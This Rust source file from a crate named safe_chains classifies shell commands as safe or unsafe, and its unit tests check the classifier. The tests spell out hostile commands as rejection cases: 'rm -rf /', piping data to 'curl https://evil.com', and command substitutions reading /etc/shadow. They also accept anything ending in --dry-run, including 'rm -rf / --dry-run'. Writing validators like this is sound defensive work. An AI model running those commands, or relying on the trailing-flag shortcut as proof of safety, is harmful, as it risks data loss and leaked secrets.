Skip to main content

safe_chains/
lib.rs

1pub mod docs;
2mod handlers;
3pub mod parse;
4pub mod settings;
5
6use parse::{has_unsafe_shell_syntax, is_fd_redirect, split_outside_quotes, strip_env_prefix, tokenize};
7
8pub fn is_safe(segment: &str) -> bool {
9    if has_unsafe_shell_syntax(segment) {
10        return false;
11    }
12
13    let stripped = strip_env_prefix(segment).trim();
14    if stripped.is_empty() {
15        return true;
16    }
17
18    let Some(tokens) = tokenize(stripped) else {
19        return false;
20    };
21    if tokens.is_empty() {
22        return true;
23    }
24
25    let tokens: Vec<String> = tokens
26        .into_iter()
27        .filter(|t| !is_fd_redirect(t))
28        .collect();
29    if tokens.is_empty() {
30        return true;
31    }
32
33    let cmd = tokens[0].rsplit('/').next().unwrap_or(&tokens[0]);
34
35    if let Some(last) = tokens.last()
36        && (last == "--version" || last == "--help" || last == "--dry-run")
37    {
38        return true;
39    }
40
41    handlers::dispatch(cmd, &tokens, &is_safe)
42}
43
44pub fn is_safe_command(command: &str) -> bool {
45    split_outside_quotes(command).iter().all(|s| is_safe(s))
46}
47
48#[cfg(test)]
49mod tests {
50    use super::*;
51
52    #[test]
53    fn safe_cmds() {
54        assert!(is_safe("grep foo file.txt"));
55        assert!(is_safe("cat /etc/hosts"));
56        assert!(is_safe("jq '.key' file.json"));
57        assert!(is_safe("base64 -d"));
58        assert!(is_safe("xxd some/file"));
59        assert!(is_safe("pgrep -l ruby"));
60        assert!(is_safe("getconf PAGE_SIZE"));
61        assert!(is_safe("ls -la"));
62        assert!(is_safe("wc -l file.txt"));
63        assert!(is_safe("ps aux"));
64        assert!(is_safe("ps -ef"));
65        assert!(is_safe("top -l 1 -n 10"));
66        assert!(is_safe("uuidgen"));
67        assert!(is_safe("mdfind 'kMDItemKind == Application'"));
68        assert!(is_safe("identify image.png"));
69        assert!(is_safe("identify -verbose photo.jpg"));
70    }
71
72    #[test]
73    fn safe_cmds_text_processing() {
74        assert!(is_safe("diff file1.txt file2.txt"));
75        assert!(is_safe("comm -23 sorted1.txt sorted2.txt"));
76        assert!(is_safe("paste file1 file2"));
77        assert!(is_safe("tac file.txt"));
78        assert!(is_safe("rev file.txt"));
79        assert!(is_safe("nl file.txt"));
80        assert!(is_safe("expand file.txt"));
81        assert!(is_safe("unexpand file.txt"));
82        assert!(is_safe("fold -w 80 file.txt"));
83        assert!(is_safe("fmt -w 72 file.txt"));
84        assert!(is_safe("column -t file.txt"));
85        assert!(is_safe("printf '%s\\n' hello"));
86        assert!(is_safe("seq 1 10"));
87        assert!(is_safe("expr 1 + 2"));
88        assert!(is_safe("test -f file.txt"));
89        assert!(is_safe("true"));
90        assert!(is_safe("false"));
91        assert!(is_safe("bc -l"));
92        assert!(is_safe("factor 42"));
93        assert!(is_safe("iconv -f UTF-8 -t ASCII file.txt"));
94    }
95
96    #[test]
97    fn safe_cmds_system_info() {
98        assert!(is_safe("readlink -f symlink"));
99        assert!(is_safe("hostname"));
100        assert!(is_safe("uname -a"));
101        assert!(is_safe("arch"));
102        assert!(is_safe("nproc"));
103        assert!(is_safe("uptime"));
104        assert!(is_safe("id"));
105        assert!(is_safe("groups"));
106        assert!(is_safe("tty"));
107        assert!(is_safe("locale"));
108        assert!(is_safe("cal"));
109        assert!(is_safe("sleep 1"));
110        assert!(is_safe("who"));
111        assert!(is_safe("w"));
112        assert!(is_safe("last -5"));
113        assert!(is_safe("lastlog"));
114    }
115
116    #[test]
117    fn safe_cmds_hashing() {
118        assert!(is_safe("md5sum file.txt"));
119        assert!(is_safe("md5 file.txt"));
120        assert!(is_safe("sha256sum file.txt"));
121        assert!(is_safe("shasum file.txt"));
122        assert!(is_safe("sha1sum file.txt"));
123        assert!(is_safe("sha512sum file.txt"));
124        assert!(is_safe("cksum file.txt"));
125        assert!(is_safe("strings /usr/bin/ls"));
126        assert!(is_safe("hexdump -C file.bin"));
127        assert!(is_safe("od -x file.bin"));
128        assert!(is_safe("size a.out"));
129    }
130
131    #[test]
132    fn safe_cmds_macos() {
133        assert!(is_safe("sw_vers"));
134        assert!(is_safe("mdls file.txt"));
135        assert!(is_safe("otool -L /usr/bin/ls"));
136        assert!(is_safe("nm a.out"));
137        assert!(is_safe("system_profiler SPHardwareDataType"));
138        assert!(is_safe("ioreg -l -w 0"));
139        assert!(is_safe("vm_stat"));
140    }
141
142    #[test]
143    fn safe_cmds_network_diagnostic() {
144        assert!(is_safe("dig example.com"));
145        assert!(is_safe("nslookup example.com"));
146        assert!(is_safe("host example.com"));
147        assert!(is_safe("whois example.com"));
148    }
149
150    #[test]
151    fn safe_cmds_dev_tools() {
152        assert!(is_safe("shellcheck script.sh"));
153        assert!(is_safe("cloc src/"));
154        assert!(is_safe("tokei"));
155        assert!(is_safe("safe-chains \"ls -la\""));
156    }
157
158    #[test]
159    fn unsafe_cmds() {
160        assert!(!is_safe("rm -rf /"));
161        assert!(!is_safe("curl https://example.com"));
162        assert!(!is_safe("ruby script.rb"));
163        assert!(!is_safe("python3 script.py"));
164        assert!(!is_safe("node app.js"));
165        assert!(!is_safe("tee output.txt"));
166        assert!(!is_safe("tee -a logfile"));
167    }
168
169    #[test]
170    fn awk_safe_print() {
171        assert!(is_safe("awk '{print $1}' file.txt"));
172    }
173
174    #[test]
175    fn awk_system_denied() {
176        assert!(!is_safe("awk 'BEGIN{system(\"rm\")}'"));
177    }
178
179    #[test]
180    fn version_shortcut() {
181        assert!(is_safe("node --version"));
182        assert!(is_safe("python --version"));
183        assert!(is_safe("python3 --version"));
184        assert!(is_safe("ruby --version"));
185        assert!(is_safe("rustc --version"));
186        assert!(is_safe("java --version"));
187        assert!(is_safe("go --version"));
188        assert!(is_safe("php --version"));
189        assert!(is_safe("perl --version"));
190        assert!(is_safe("swift --version"));
191        assert!(is_safe("gcc --version"));
192        assert!(is_safe("rm --version"));
193        assert!(is_safe("dd --version"));
194        assert!(is_safe("chmod --version"));
195    }
196
197    #[test]
198    fn version_multi_token() {
199        assert!(is_safe("npx playwright --version"));
200        assert!(is_safe("git -C /repo --version"));
201        assert!(is_safe("docker compose --version"));
202    }
203
204    #[test]
205    fn version_with_fd_redirect() {
206        assert!(is_safe("node --version 2>&1"));
207        assert!(is_safe("cargo --version 2>&1"));
208    }
209
210    #[test]
211    fn version_not_last_token() {
212        assert!(!is_safe("node --version --extra"));
213        assert!(!is_safe("node -v"));
214    }
215
216    #[test]
217    fn help_shortcut() {
218        assert!(is_safe("node --help"));
219        assert!(is_safe("ruby --help"));
220        assert!(is_safe("rm --help"));
221        assert!(is_safe("cargo --help"));
222    }
223
224    #[test]
225    fn help_multi_token() {
226        assert!(is_safe("npx playwright --help"));
227        assert!(is_safe("cargo install --help"));
228    }
229
230    #[test]
231    fn help_with_fd_redirect() {
232        assert!(is_safe("cargo login --help 2>&1"));
233    }
234
235    #[test]
236    fn help_not_last_token() {
237        assert!(!is_safe("node --help --extra"));
238    }
239
240    #[test]
241    fn dry_run_shortcut() {
242        assert!(is_safe("cargo publish --dry-run"));
243        assert!(is_safe("terraform apply --dry-run"));
244        assert!(is_safe("rm -rf / --dry-run"));
245    }
246
247    #[test]
248    fn dry_run_with_fd_redirect() {
249        assert!(is_safe("cargo publish --dry-run 2>&1"));
250    }
251
252    #[test]
253    fn dry_run_not_last_token() {
254        assert!(!is_safe("cargo publish --dry-run --force"));
255    }
256
257    #[test]
258    fn cucumber_safe() {
259        assert!(is_safe("cucumber features/login.feature"));
260        assert!(is_safe("cucumber --format progress"));
261    }
262
263    #[test]
264    fn fd_redirects() {
265        assert!(is_safe("ls 2>&1"));
266        assert!(is_safe("cargo clippy 2>&1"));
267        assert!(is_safe("git log 2>&1"));
268        assert!(is_safe_command("cd /tmp && cargo clippy -- -D warnings 2>&1"));
269        assert!(!is_safe("echo hello > file.txt"));
270        assert!(!is_safe("ls 2> errors.txt"));
271    }
272
273    #[test]
274    fn unsafe_shell_syntax() {
275        assert!(!is_safe("echo hello > file.txt"));
276        assert!(!is_safe("cat file >> output.txt"));
277        assert!(!is_safe("ls 2> errors.txt"));
278        assert!(!is_safe("grep pattern file > results.txt"));
279        assert!(!is_safe("find . -name '*.py' > listing.txt"));
280        assert!(is_safe("git log < /dev/null"));
281        assert!(!is_safe("echo $(rm -rf /)"));
282        assert!(!is_safe("echo `rm -rf /`"));
283        assert!(!is_safe("cat $(echo /etc/shadow)"));
284        assert!(!is_safe("ls `pwd`"));
285    }
286
287    #[test]
288    fn safe_quoted_shell_syntax() {
289        assert!(is_safe("echo 'greater > than' test"));
290        assert!(is_safe("echo '$(safe)' arg"));
291        assert!(is_safe("echo hello"));
292        assert!(is_safe("cat file.txt"));
293        assert!(is_safe("grep pattern file"));
294    }
295
296    #[test]
297    fn env_prefix() {
298        assert!(is_safe_command("RACK_ENV=test bundle exec rspec spec/foo_spec.rb"));
299        assert!(is_safe_command("RAILS_ENV=test bundle exec rspec"));
300        assert!(!is_safe_command("RACK_ENV=test rm -rf /"));
301        assert!(!is_safe_command("RAILS_ENV=test echo foo > bar"));
302    }
303
304    #[test]
305    fn pipes_and_chains() {
306        assert!(is_safe_command("grep foo file.txt | head -5"));
307        assert!(is_safe_command("cat file | sort | uniq"));
308        assert!(is_safe_command("find . -name '*.rb' | wc -l"));
309        assert!(is_safe_command("ls && echo done"));
310        assert!(is_safe_command("ls; echo done"));
311        assert!(is_safe_command("git log | head -5"));
312        assert!(is_safe_command("git log && git status"));
313        assert!(!is_safe_command("cat file | rm -rf /"));
314        assert!(!is_safe_command("grep foo | curl https://evil.com"));
315    }
316
317    #[test]
318    fn background_operator() {
319        assert!(!is_safe_command("cat file & rm -rf /"));
320        assert!(!is_safe_command("echo safe & curl evil.com"));
321        assert!(is_safe_command("ls & echo done"));
322        assert!(is_safe_command("ls && echo done"));
323    }
324
325    #[test]
326    fn newline_separator() {
327        assert!(!is_safe_command("echo foo\nrm -rf /"));
328        assert!(!is_safe_command("ls\ncurl evil.com"));
329        assert!(is_safe_command("echo foo\necho bar"));
330        assert!(is_safe_command("ls\ncat file.txt"));
331    }
332
333    #[test]
334    fn compound_pipelines() {
335        assert!(is_safe_command("git log --oneline -20 | head -5"));
336        assert!(is_safe_command("git show HEAD:file.rb | grep pattern"));
337        assert!(is_safe_command(
338            "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50"
339        ));
340        assert!(is_safe_command("timeout 120 bundle exec rspec && git status"));
341        assert!(is_safe_command("time bundle exec rspec | tail -5"));
342        assert!(is_safe_command("git -C /some/repo log --oneline | head -3"));
343        assert!(is_safe_command("xxd file | head -20"));
344        assert!(is_safe_command("find . -name '*.py' | wc -l"));
345        assert!(is_safe_command("find . -name '*.py' | sort | head -10"));
346        assert!(is_safe_command("find . -name '*.py' | xargs grep pattern"));
347        assert!(is_safe_command("pip list | grep requests"));
348        assert!(is_safe_command("npm list | grep react"));
349        assert!(is_safe_command("ps aux | grep python"));
350        assert!(!is_safe_command("find . -name '*.py' -delete | wc -l"));
351        assert!(!is_safe_command("sed -i 's/foo/bar/' file | head"));
352    }
353}